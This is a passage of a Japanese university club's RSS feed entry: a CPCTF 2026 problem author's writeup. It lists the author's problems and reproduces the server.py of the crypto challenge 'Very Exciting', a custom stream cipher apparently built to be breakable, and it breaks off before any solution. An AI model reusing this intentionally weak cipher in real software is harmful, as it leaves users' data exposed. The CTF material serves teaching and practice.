<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[東京科学大学デジタル創作同好会traP]]></title><description><![CDATA[traP]]></description><link>https://trap.jp/</link><image><url>https://trap.jp/favicon.png</url><title>東京科学大学デジタル創作同好会traP</title><link>https://trap.jp/</link></image><generator>Ghost 5.54</generator><lastBuildDate>Mon, 04 May 2026 04:39:17 GMT</lastBuildDate><atom:link href="https://trap.jp/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[CPCTF 2026 作問者writeup (Nzt3編)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x307F;&#x306A;&#x3055;&#x307E;&#x3053;&#x3093;&#x306B;&#x3061;&#x306F;&#x3002;Nzt3&#x3067;&#x3059;&#x3002;</p>
<p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x306F; 2026-04-17 20:00(JST) &#x304B;&#x3089; 2026-04-19 20:00(JST) &#x307E;&#x3067;&#x884C;&#x308F;&#x308C;&#x305F;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x3042;&#x308B; CPCTF 2026 &#x306E;&#x554F;&#x984C;&#x306E;&#x3046;</p>]]></description><link>https://trap.jp/post/2914/</link><guid isPermaLink="false">69e4de30e2394c00016e8b63</guid><category><![CDATA[CPCTF]]></category><category><![CDATA[writeup]]></category><category><![CDATA[競技プログラミング]]></category><category><![CDATA[CTF班]]></category><dc:creator><![CDATA[Nzt3]]></dc:creator><pubDate>Sat, 02 May 2026 03:00:48 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/05/img_9223.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://trap.jp/content/images/2026/05/img_9223.jpg" alt="CPCTF 2026 &#x4F5C;&#x554F;&#x8005;writeup (Nzt3&#x7DE8;)"><p>&#x307F;&#x306A;&#x3055;&#x307E;&#x3053;&#x3093;&#x306B;&#x3061;&#x306F;&#x3002;Nzt3&#x3067;&#x3059;&#x3002;</p>
<p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x306F; 2026-04-17 20:00(JST) &#x304B;&#x3089; 2026-04-19 20:00(JST) &#x307E;&#x3067;&#x884C;&#x308F;&#x308C;&#x305F;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x3042;&#x308B; CPCTF 2026 &#x306E;&#x554F;&#x984C;&#x306E;&#x3046;&#x3061;&#x3001;Nzt3&#x304C;&#x5236;&#x4F5C;&#x306B;&#x95A2;&#x308F;&#x3063;&#x305F;&#x554F;&#x984C;&#x306E;&#x89E3;&#x8AAC;&#x30FB;&#x51FA;&#x984C;&#x610F;&#x56F3;&#x3092;&#x8A18;&#x9332;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<p>PPC(&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;)&#x5206;&#x91CE;&#x306E;&#x554F;&#x984C;&#x306F;yukicoder&#x4E0A;&#x3067;&#x516C;&#x958B;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x3092;&#x8AAD;&#x3080;&#x524D;&#x306B;&#x6311;&#x6226;&#x3057;&#x3066;&#x307F;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#xFF01;</p>
<p>yukicoder: <a href="https://yukicoder.me/contests/580?ref=trap.jp">CPCTF 2026: PPC</a></p>
<h2 id="%E7%A7%81%E3%81%8C%E9%96%A2%E3%82%8F%E3%81%A3%E3%81%9F%E5%95%8F%E9%A1%8C">&#x79C1;&#x304C;&#x95A2;&#x308F;&#x3063;&#x305F;&#x554F;&#x984C;</h2>
<h3 id="crypto">Crypto</h3>
<ul>
<li>Lv.2 Very Exciting</li>
<li>Lv.3 Janken Master</li>
<li>LV.5 mod N Janken</li>
</ul>
<h3 id="ppc">PPC</h3>
<ul>
<li>Lv.3 Sum of Prod of Root (&#x8B1D;&#x7F6A;)</li>
<li>Lv.4 OR Mapping (&#x5F37;&#x5316;)</li>
<li>Lv.5 RPS Eliminations</li>
</ul>
<h2 id="crypto-lv2-very-exciting">[Crypto] Lv.2 Very Exciting</h2>
<h3 id="%E5%95%8F%E9%A1%8C%E6%A6%82%E8%A6%81">&#x554F;&#x984C;&#x6982;&#x8981;</h3>
<pre class="blog-code"><code class="lang-undefined">&#x30EF;&#x30AF;&#x30EF;&#x30AF;&#x3059;&#x308B;&#x4E71;&#x6570;&#x3092;&#x3042;&#x306A;&#x305F;&#x306B;&#x3082;&#x4F7F;&#x308F;&#x305B;&#x3066;&#x3042;&#x3052;&#x307E;&#x3059;&#x3002;
</code></pre>
<p>&#x2191;&#x3053;&#x306E;&#x554F;&#x984C;&#x6587;&#x306F;&#x305F;&#x3060;&#x306E;&#x30D5;&#x30EC;&#x30FC;&#x30D0;&#x30FC;&#x30C6;&#x30AD;&#x30B9;&#x30C8;&#x306A;&#x306E;&#x3067;&#x7121;&#x8996;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<p><code>nc</code>&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3067;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x306B;TCP&#x63A5;&#x7D9A;&#x3057;&#x3066;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x3067;&#x5B9F;&#x884C;&#x3055;&#x308C;&#x308B;Python&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3068;&#x3084;&#x308A;&#x53D6;&#x308A;&#x3092;&#x3059;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;</p>
<p>&#x914D;&#x5E03;&#x30D5;&#x30A1;&#x30A4;&#x30EB;</p>
<details><summary>server.py</summary>
<pre class="blog-code"><code class="lang-python">
<span class="hljs-comment">#!/usr/local/bin/python3</span>
<span class="hljs-keyword">from</span> os <span class="hljs-keyword">import</span> getenv, urandom


<span class="hljs-keyword">class</span> <span class="hljs-title class_">BoringRandom</span>:
    C0 = <span class="hljs-number">0x6A09E667F3BCC908</span>
    C1 = <span class="hljs-number">0xBB67AE8584CAA73B</span>
    C2 = <span class="hljs-number">0x3C6EF372FE94F82B</span>

    SBOX = [
        <span class="hljs-number">0x63</span>, <span class="hljs-number">0x7c</span>, <span class="hljs-number">0x77</span>, <span class="hljs-number">0x7b</span>, <span class="hljs-number">0xf2</span>, <span class="hljs-number">0x6b</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0xc5</span>, <span class="hljs-number">0x30</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x67</span>, <span class="hljs-number">0x2b</span>, <span class="hljs-number">0xfe</span>, <span class="hljs-number">0xd7</span>, <span class="hljs-number">0xab</span>, <span class="hljs-number">0x76</span>,
        <span class="hljs-number">0xca</span>, <span class="hljs-number">0x82</span>, <span class="hljs-number">0xc9</span>, <span class="hljs-number">0x7d</span>, <span class="hljs-number">0xfa</span>, <span class="hljs-number">0x59</span>, <span class="hljs-number">0x47</span>, <span class="hljs-number">0xf0</span>, <span class="hljs-number">0xad</span>, <span class="hljs-number">0xd4</span>, <span class="hljs-number">0xa2</span>, <span class="hljs-number">0xaf</span>, <span class="hljs-number">0x9c</span>, <span class="hljs-number">0xa4</span>, <span class="hljs-number">0x72</span>, <span class="hljs-number">0xc0</span>,
        <span class="hljs-number">0xb7</span>, <span class="hljs-number">0xfd</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0x26</span>, <span class="hljs-number">0x36</span>, <span class="hljs-number">0x3f</span>, <span class="hljs-number">0xf7</span>, <span class="hljs-number">0xcc</span>, <span class="hljs-number">0x34</span>, <span class="hljs-number">0xa5</span>, <span class="hljs-number">0xe5</span>, <span class="hljs-number">0xf1</span>, <span class="hljs-number">0x71</span>, <span class="hljs-number">0xd8</span>, <span class="hljs-number">0x31</span>, <span class="hljs-number">0x15</span>,
        <span class="hljs-number">0x04</span>, <span class="hljs-number">0xc7</span>, <span class="hljs-number">0x23</span>, <span class="hljs-number">0xc3</span>, <span class="hljs-number">0x18</span>, <span class="hljs-number">0x96</span>, <span class="hljs-number">0x05</span>, <span class="hljs-number">0x9a</span>, <span class="hljs-number">0x07</span>, <span class="hljs-number">0x12</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xe2</span>, <span class="hljs-number">0xeb</span>, <span class="hljs-number">0x27</span>, <span class="hljs-number">0xb2</span>, <span class="hljs-number">0x75</span>,
        <span class="hljs-number">0x09</span>, <span class="hljs-number">0x83</span>, <span class="hljs-number">0x2c</span>, <span class="hljs-number">0x1a</span>, <span class="hljs-number">0x1b</span>, <span class="hljs-number">0x6e</span>, <span class="hljs-number">0x5a</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x3b</span>, <span class="hljs-number">0xd6</span>, <span class="hljs-number">0xb3</span>, <span class="hljs-number">0x29</span>, <span class="hljs-number">0xe3</span>, <span class="hljs-number">0x2f</span>, <span class="hljs-number">0x84</span>,
        <span class="hljs-number">0x53</span>, <span class="hljs-number">0xd1</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xed</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0xfc</span>, <span class="hljs-number">0xb1</span>, <span class="hljs-number">0x5b</span>, <span class="hljs-number">0x6a</span>, <span class="hljs-number">0xcb</span>, <span class="hljs-number">0xbe</span>, <span class="hljs-number">0x39</span>, <span class="hljs-number">0x4a</span>, <span class="hljs-number">0x4c</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0xcf</span>,
        <span class="hljs-number">0xd0</span>, <span class="hljs-number">0xef</span>, <span class="hljs-number">0xaa</span>, <span class="hljs-number">0xfb</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0x4d</span>, <span class="hljs-number">0x33</span>, <span class="hljs-number">0x85</span>, <span class="hljs-number">0x45</span>, <span class="hljs-number">0xf9</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x7f</span>, <span class="hljs-number">0x50</span>, <span class="hljs-number">0x3c</span>, <span class="hljs-number">0x9f</span>, <span class="hljs-number">0xa8</span>,
        <span class="hljs-number">0x51</span>, <span class="hljs-number">0xa3</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x8f</span>, <span class="hljs-number">0x92</span>, <span class="hljs-number">0x9d</span>, <span class="hljs-number">0x38</span>, <span class="hljs-number">0xf5</span>, <span class="hljs-number">0xbc</span>, <span class="hljs-number">0xb6</span>, <span class="hljs-number">0xda</span>, <span class="hljs-number">0x21</span>, <span class="hljs-number">0x10</span>, <span class="hljs-number">0xff</span>, <span class="hljs-number">0xf3</span>, <span class="hljs-number">0xd2</span>,
        <span class="hljs-number">0xcd</span>, <span class="hljs-number">0x0c</span>, <span class="hljs-number">0x13</span>, <span class="hljs-number">0xec</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-number">0x97</span>, <span class="hljs-number">0x44</span>, <span class="hljs-number">0x17</span>, <span class="hljs-number">0xc4</span>, <span class="hljs-number">0xa7</span>, <span class="hljs-number">0x7e</span>, <span class="hljs-number">0x3d</span>, <span class="hljs-number">0x64</span>, <span class="hljs-number">0x5d</span>, <span class="hljs-number">0x19</span>, <span class="hljs-number">0x73</span>,
        <span class="hljs-number">0x60</span>, <span class="hljs-number">0x81</span>, <span class="hljs-number">0x4f</span>, <span class="hljs-number">0xdc</span>, <span class="hljs-number">0x22</span>, <span class="hljs-number">0x2a</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0x88</span>, <span class="hljs-number">0x46</span>, <span class="hljs-number">0xee</span>, <span class="hljs-number">0xb8</span>, <span class="hljs-number">0x14</span>, <span class="hljs-number">0xde</span>, <span class="hljs-number">0x5e</span>, <span class="hljs-number">0x0b</span>, <span class="hljs-number">0xdb</span>,
        <span class="hljs-number">0xe0</span>, <span class="hljs-number">0x32</span>, <span class="hljs-number">0x3a</span>, <span class="hljs-number">0x0a</span>, <span class="hljs-number">0x49</span>, <span class="hljs-number">0x06</span>, <span class="hljs-number">0x24</span>, <span class="hljs-number">0x5c</span>, <span class="hljs-number">0xc2</span>, <span class="hljs-number">0xd3</span>, <span class="hljs-number">0xac</span>, <span class="hljs-number">0x62</span>, <span class="hljs-number">0x91</span>, <span class="hljs-number">0x95</span>, <span class="hljs-number">0xe4</span>, <span class="hljs-number">0x79</span>,
        <span class="hljs-number">0xe7</span>, <span class="hljs-number">0xc8</span>, <span class="hljs-number">0x37</span>, <span class="hljs-number">0x6d</span>, <span class="hljs-number">0x8d</span>, <span class="hljs-number">0xd5</span>, <span class="hljs-number">0x4e</span>, <span class="hljs-number">0xa9</span>, <span class="hljs-number">0x6c</span>, <span class="hljs-number">0x56</span>, <span class="hljs-number">0xf4</span>, <span class="hljs-number">0xea</span>, <span class="hljs-number">0x65</span>, <span class="hljs-number">0x7a</span>, <span class="hljs-number">0xae</span>, <span class="hljs-number">0x08</span>,
        <span class="hljs-number">0xba</span>, <span class="hljs-number">0x78</span>, <span class="hljs-number">0x25</span>, <span class="hljs-number">0x2e</span>, <span class="hljs-number">0x1c</span>, <span class="hljs-number">0xa6</span>, <span class="hljs-number">0xb4</span>, <span class="hljs-number">0xc6</span>, <span class="hljs-number">0xe8</span>, <span class="hljs-number">0xdd</span>, <span class="hljs-number">0x74</span>, <span class="hljs-number">0x1f</span>, <span class="hljs-number">0x4b</span>, <span class="hljs-number">0xbd</span>, <span class="hljs-number">0x8b</span>, <span class="hljs-number">0x8a</span>,
        <span class="hljs-number">0x70</span>, <span class="hljs-number">0x3e</span>, <span class="hljs-number">0xb5</span>, <span class="hljs-number">0x66</span>, <span class="hljs-number">0x48</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xf6</span>, <span class="hljs-number">0x0e</span>, <span class="hljs-number">0x61</span>, <span class="hljs-number">0x35</span>, <span class="hljs-number">0x57</span>, <span class="hljs-number">0xb9</span>, <span class="hljs-number">0x86</span>, <span class="hljs-number">0xc1</span>, <span class="hljs-number">0x1d</span>, <span class="hljs-number">0x9e</span>,
        <span class="hljs-number">0xe1</span>, <span class="hljs-number">0xf8</span>, <span class="hljs-number">0x98</span>, <span class="hljs-number">0x11</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0xd9</span>, <span class="hljs-number">0x8e</span>, <span class="hljs-number">0x94</span>, <span class="hljs-number">0x9b</span>, <span class="hljs-number">0x1e</span>, <span class="hljs-number">0x87</span>, <span class="hljs-number">0xe9</span>, <span class="hljs-number">0xce</span>, <span class="hljs-number">0x55</span>, <span class="hljs-number">0x28</span>, <span class="hljs-number">0xdf</span>,
        <span class="hljs-number">0x8c</span>, <span class="hljs-number">0xa1</span>, <span class="hljs-number">0x89</span>, <span class="hljs-number">0x0d</span>, <span class="hljs-number">0xbf</span>, <span class="hljs-number">0xe6</span>, <span class="hljs-number">0x42</span>, <span class="hljs-number">0x68</span>, <span class="hljs-number">0x41</span>, <span class="hljs-number">0x99</span>, <span class="hljs-number">0x2d</span>, <span class="hljs-number">0x0f</span>, <span class="hljs-number">0xb0</span>, <span class="hljs-number">0x54</span>, <span class="hljs-number">0xbb</span>, <span class="hljs-number">0x16</span>
    ]

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, key: <span class="hljs-built_in">bytes</span>, iv: <span class="hljs-built_in">bytes</span></span>):
        <span class="hljs-keyword">assert</span> <span class="hljs-built_in">len</span>(key) == <span class="hljs-number">16</span> <span class="hljs-keyword">and</span> <span class="hljs-built_in">len</span>(iv) == <span class="hljs-number">16</span>

        K0 = <span class="hljs-built_in">int</span>.from_bytes(key[<span class="hljs-number">0</span>:<span class="hljs-number">8</span>], byteorder=<span class="hljs-string">&apos;big&apos;</span>)
        K1 = <span class="hljs-built_in">int</span>.from_bytes(key[<span class="hljs-number">8</span>:<span class="hljs-number">16</span>], byteorder=<span class="hljs-string">&apos;big&apos;</span>)
        I0 = <span class="hljs-built_in">int</span>.from_bytes(iv[<span class="hljs-number">0</span>:<span class="hljs-number">8</span>], byteorder=<span class="hljs-string">&apos;big&apos;</span>)
        I1 = <span class="hljs-built_in">int</span>.from_bytes(iv[<span class="hljs-number">8</span>:<span class="hljs-number">16</span>], byteorder=<span class="hljs-string">&apos;big&apos;</span>)

        <span class="hljs-variable language_">self</span>.a = [<span class="hljs-number">0</span>] * <span class="hljs-number">3</span>
        <span class="hljs-variable language_">self</span>.b = [<span class="hljs-number">0</span>] * <span class="hljs-number">16</span>

        <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">0</span>] = K0
        <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">1</span>] = K1
        <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">2</span>] = <span class="hljs-variable language_">self</span>._rotl(K0, <span class="hljs-number">7</span>) ^ <span class="hljs-variable language_">self</span>._rotr(K1, <span class="hljs-number">7</span>) ^ <span class="hljs-variable language_">self</span>.C0

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">16</span>):
            <span class="hljs-variable language_">self</span>._update_rho_only()
            <span class="hljs-variable language_">self</span>.b[<span class="hljs-number">15</span> - i] = <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">0</span>]

        <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">0</span>] ^= I0
        <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">1</span>] ^= I1
        <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">2</span>] ^= <span class="hljs-variable language_">self</span>._rotl(I0, <span class="hljs-number">7</span>) ^ <span class="hljs-variable language_">self</span>._rotr(I1, <span class="hljs-number">7</span>) ^ <span class="hljs-variable language_">self</span>.C0

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">16</span>):
            <span class="hljs-variable language_">self</span>._update_rho_only()

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">16</span>):
            <span class="hljs-variable language_">self</span>._update()

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">nextrand</span>(<span class="hljs-params">self</span>) -&gt; <span class="hljs-built_in">bytes</span>:
        out = <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">2</span>]
        <span class="hljs-variable language_">self</span>._update()
        <span class="hljs-keyword">return</span> out.to_bytes(<span class="hljs-number">8</span>)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_update</span>(<span class="hljs-params">self</span>):
        a_0_next = <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">1</span>]
        a_1_next = <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">2</span>] ^ <span class="hljs-variable language_">self</span>._F(<span class="hljs-variable language_">self</span>.a[<span class="hljs-number">1</span>], <span class="hljs-variable language_">self</span>.b[<span class="hljs-number">4</span>]) ^ <span class="hljs-variable language_">self</span>.C1
        a_2_next = <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">0</span>] ^ <span class="hljs-variable language_">self</span>._F(
            <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">1</span>], <span class="hljs-variable language_">self</span>._rotl(<span class="hljs-variable language_">self</span>.b[<span class="hljs-number">10</span>], <span class="hljs-number">17</span>)) ^ <span class="hljs-variable language_">self</span>.C2

        b_next = [<span class="hljs-number">0</span>] * <span class="hljs-number">16</span>
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">16</span>):
            <span class="hljs-keyword">if</span> j <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> (<span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">10</span>):
                b_next[j] = <span class="hljs-variable language_">self</span>.b[j - <span class="hljs-number">1</span>]
        b_next[<span class="hljs-number">0</span>] = <span class="hljs-variable language_">self</span>.b[<span class="hljs-number">15</span>] ^ <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">0</span>]
        b_next[<span class="hljs-number">4</span>] = <span class="hljs-variable language_">self</span>.b[<span class="hljs-number">3</span>] ^ <span class="hljs-variable language_">self</span>.b[<span class="hljs-number">7</span>]
        b_next[<span class="hljs-number">10</span>] = <span class="hljs-variable language_">self</span>.b[<span class="hljs-number">9</span>] ^ <span class="hljs-variable language_">self</span>._rotl(<span class="hljs-variable language_">self</span>.b[<span class="hljs-number">13</span>], <span class="hljs-number">32</span>)

        <span class="hljs-variable language_">self</span>.a = [a_0_next, a_1_next, a_2_next]
        <span class="hljs-variable language_">self</span>.b = b_next

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_update_rho_only</span>(<span class="hljs-params">self</span>):
        a_0_next = <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">1</span>]
        a_1_next = <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">2</span>] ^ <span class="hljs-variable language_">self</span>._F(<span class="hljs-variable language_">self</span>.a[<span class="hljs-number">1</span>], <span class="hljs-number">0</span>) ^ <span class="hljs-variable language_">self</span>.C1
        a_2_next = <span class="hljs-variable language_">self</span>.a[<span class="hljs-number">0</span>] ^ <span class="hljs-variable language_">self</span>._F(<span class="hljs-variable language_">self</span>.a[<span class="hljs-number">1</span>], <span class="hljs-number">0</span>) ^ <span class="hljs-variable language_">self</span>.C2
        <span class="hljs-variable language_">self</span>.a = [a_0_next, a_1_next, a_2_next]

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_F</span>(<span class="hljs-params">self, X: <span class="hljs-built_in">int</span>, B: <span class="hljs-built_in">int</span></span>) -&gt; <span class="hljs-built_in">int</span>:
        O = X ^ B

        O_bytes = [(O &gt;&gt; ((<span class="hljs-number">7</span> - i) * <span class="hljs-number">8</span>)) &amp; <span class="hljs-number">0xFF</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">8</span>)]

        P = [<span class="hljs-variable language_">self</span>.SBOX[b] <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> O_bytes]

        Q = [<span class="hljs-number">0</span>] * <span class="hljs-number">8</span>
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> (<span class="hljs-number">0</span>, <span class="hljs-number">4</span>):
            Q[j+<span class="hljs-number">0</span>] = <span class="hljs-variable language_">self</span>._mul2(P[j+<span class="hljs-number">0</span>]) ^ <span class="hljs-variable language_">self</span>._mul3(P[j+<span class="hljs-number">1</span>]) ^ P[j+<span class="hljs-number">2</span>] ^ P[j+<span class="hljs-number">3</span>]
            Q[j+<span class="hljs-number">1</span>] = P[j+<span class="hljs-number">0</span>] ^ <span class="hljs-variable language_">self</span>._mul2(P[j+<span class="hljs-number">1</span>]) ^ <span class="hljs-variable language_">self</span>._mul3(P[j+<span class="hljs-number">2</span>]) ^ P[j+<span class="hljs-number">3</span>]
            Q[j+<span class="hljs-number">2</span>] = P[j+<span class="hljs-number">0</span>] ^ P[j+<span class="hljs-number">1</span>] ^ <span class="hljs-variable language_">self</span>._mul2(P[j+<span class="hljs-number">2</span>]) ^ <span class="hljs-variable language_">self</span>._mul3(P[j+<span class="hljs-number">3</span>])
            Q[j+<span class="hljs-number">3</span>] = <span class="hljs-variable language_">self</span>._mul3(P[j+<span class="hljs-number">0</span>]) ^ P[j+<span class="hljs-number">1</span>] ^ P[j+<span class="hljs-number">2</span>] ^ <span class="hljs-variable language_">self</span>._mul2(P[j+<span class="hljs-number">3</span>])

        Y_bytes = [Q[<span class="hljs-number">4</span>], Q[<span class="hljs-number">5</span>], Q[<span class="hljs-number">2</span>], Q[<span class="hljs-number">3</span>], Q[<span class="hljs-number">0</span>], Q[<span class="hljs-number">1</span>], Q[<span class="hljs-number">6</span>], Q[<span class="hljs-number">7</span>]]

        Y = <span class="hljs-number">0</span>
        <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> Y_bytes:
            Y = (Y &lt;&lt; <span class="hljs-number">8</span>) | b
        <span class="hljs-keyword">return</span> Y

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_rotl</span>(<span class="hljs-params">self, x: <span class="hljs-built_in">int</span>, n: <span class="hljs-built_in">int</span></span>) -&gt; <span class="hljs-built_in">int</span>:
        <span class="hljs-keyword">return</span> ((x &lt;&lt; n) | (x &gt;&gt; (<span class="hljs-number">64</span> - n))) &amp; <span class="hljs-number">0xFFFFFFFFFFFFFFFF</span>

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_rotr</span>(<span class="hljs-params">self, x: <span class="hljs-built_in">int</span>, n: <span class="hljs-built_in">int</span></span>) -&gt; <span class="hljs-built_in">int</span>:
        <span class="hljs-keyword">return</span> ((x &gt;&gt; n) | (x &lt;&lt; (<span class="hljs-number">64</span> - n))) &amp; <span class="hljs-number">0xFFFFFFFFFFFFFFFF</span>

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_mul2</span>(<span class="hljs-params">self, x: <span class="hljs-built_in">int</span></span>) -&gt; <span class="hljs-built_in">int</span>:
        <span class="hljs-keyword">return</span> (x &lt;&lt; <span class="hljs-number">1</span>) ^ <span class="hljs-number">0x11b</span> <span class="hljs-keyword">if</span> (x &amp; <span class="hljs-number">0x80</span>) <span class="hljs-keyword">else</span> (x &lt;&lt; <span class="hljs-number">1</span>)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_mul3</span>(<span class="hljs-params">self, x: <span class="hljs-built_in">int</span></span>) -&gt; <span class="hljs-built_in">int</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-variable language_">self</span>._mul2(x) ^ x


<span class="hljs-comment"># &#x5E73;&#x6587;&#x306E;&#x9577;&#x3055;&#x306B;&#x5408;&#x308F;&#x305B;&#x3066;&#x30AD;&#x30FC;&#x30B9;&#x30C8;&#x30EA;&#x30FC;&#x30E0;&#x3092;&#x81EA;&#x52D5;&#x751F;&#x6210;&#x3059;&#x308B;&#x30D8;&#x30EB;&#x30D1;&#x30FC;&#x95A2;&#x6570;</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">stream_excite</span>(<span class="hljs-params">pksg, data: <span class="hljs-built_in">bytes</span></span>) -&gt; <span class="hljs-built_in">bytes</span>:
    keystream = <span class="hljs-string">b&quot;&quot;</span>

    <span class="hljs-keyword">while</span> <span class="hljs-built_in">len</span>(keystream) &lt; <span class="hljs-built_in">len</span>(data):
        keystream += pksg.nextrand()

    <span class="hljs-keyword">return</span> <span class="hljs-built_in">bytes</span>([a ^ b <span class="hljs-keyword">for</span> a, b <span class="hljs-keyword">in</span> <span class="hljs-built_in">zip</span>(data, keystream)])


<span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():
    secret_key = urandom(<span class="hljs-number">16</span>)
    exciting_iv = urandom(<span class="hljs-number">16</span>)
    secret_flag_plaintext = getenv(<span class="hljs-string">&quot;FLAG&quot;</span>, <span class="hljs-string">&quot;FLAG{DUMMY}&quot;</span>).encode()

    myPKSG = BoringRandom(secret_key, exciting_iv)

    exciting_flag = stream_excite(myPKSG, secret_flag_plaintext)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Here is the exciting_iv I used!: <span class="hljs-subst">{exciting_iv.<span class="hljs-built_in">hex</span>()}</span>&quot;</span>)
    <span class="hljs-built_in">print</span>(
        <span class="hljs-string">f&quot;And behold! My masterpiece, the incredibly cool exciting_flag!!\n =&gt; <span class="hljs-subst">{exciting_flag.<span class="hljs-built_in">hex</span>()}</span>\n&quot;</span>)

    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Now it&apos;s your turn, folks at home! Let&apos;s make your &apos;favorite&apos; thing EXCITING!&quot;</span>)

    favorite_input = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Enter your boring &apos;favorite&apos; (Hex): &quot;</span>)
    your_favorite = <span class="hljs-built_in">bytes</span>.fromhex(favorite_input)
    <span class="hljs-keyword">if</span> your_favorite == exciting_flag:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Whoa, whoa, whoa! That&apos;s MY exciting_flag! Bring your own boring stuff!&quot;</span>)
        exit(<span class="hljs-number">0</span>)

    very_exciting_input = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Enter your own &apos;very_exciting&apos; IV (Hex): &quot;</span>)
    very_exciting_iv = <span class="hljs-built_in">bytes</span>.fromhex(very_exciting_input)
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(very_exciting_iv) != <span class="hljs-number">16</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;That&apos;s not a very exciting IV...&quot;</span>)
        exit(<span class="hljs-number">0</span>)
    yourPKSG = BoringRandom(secret_key, very_exciting_iv)

    enc_your_favorite = stream_excite(yourPKSG, your_favorite)
    <span class="hljs-built_in">print</span>(
        <span class="hljs-string">f&quot;Your favorite just got completely EXCITED!!\n =&gt; <span class="hljs-subst">{enc_your_favorite.<span class="hljs-built_in">hex</span>()}</span>&quot;</span>)

    tea_list = [<span class="hljs-string">&quot;Black tea&quot;</span>, <span class="hljs-string">&quot;Green tea&quot;</span>,
                <span class="hljs-string">&quot;Oolong tea&quot;</span>, <span class="hljs-string">&quot;White tea&quot;</span>, <span class="hljs-string">&quot;Matcha&quot;</span>, <span class="hljs-string">&quot;Tisane&quot;</span>]
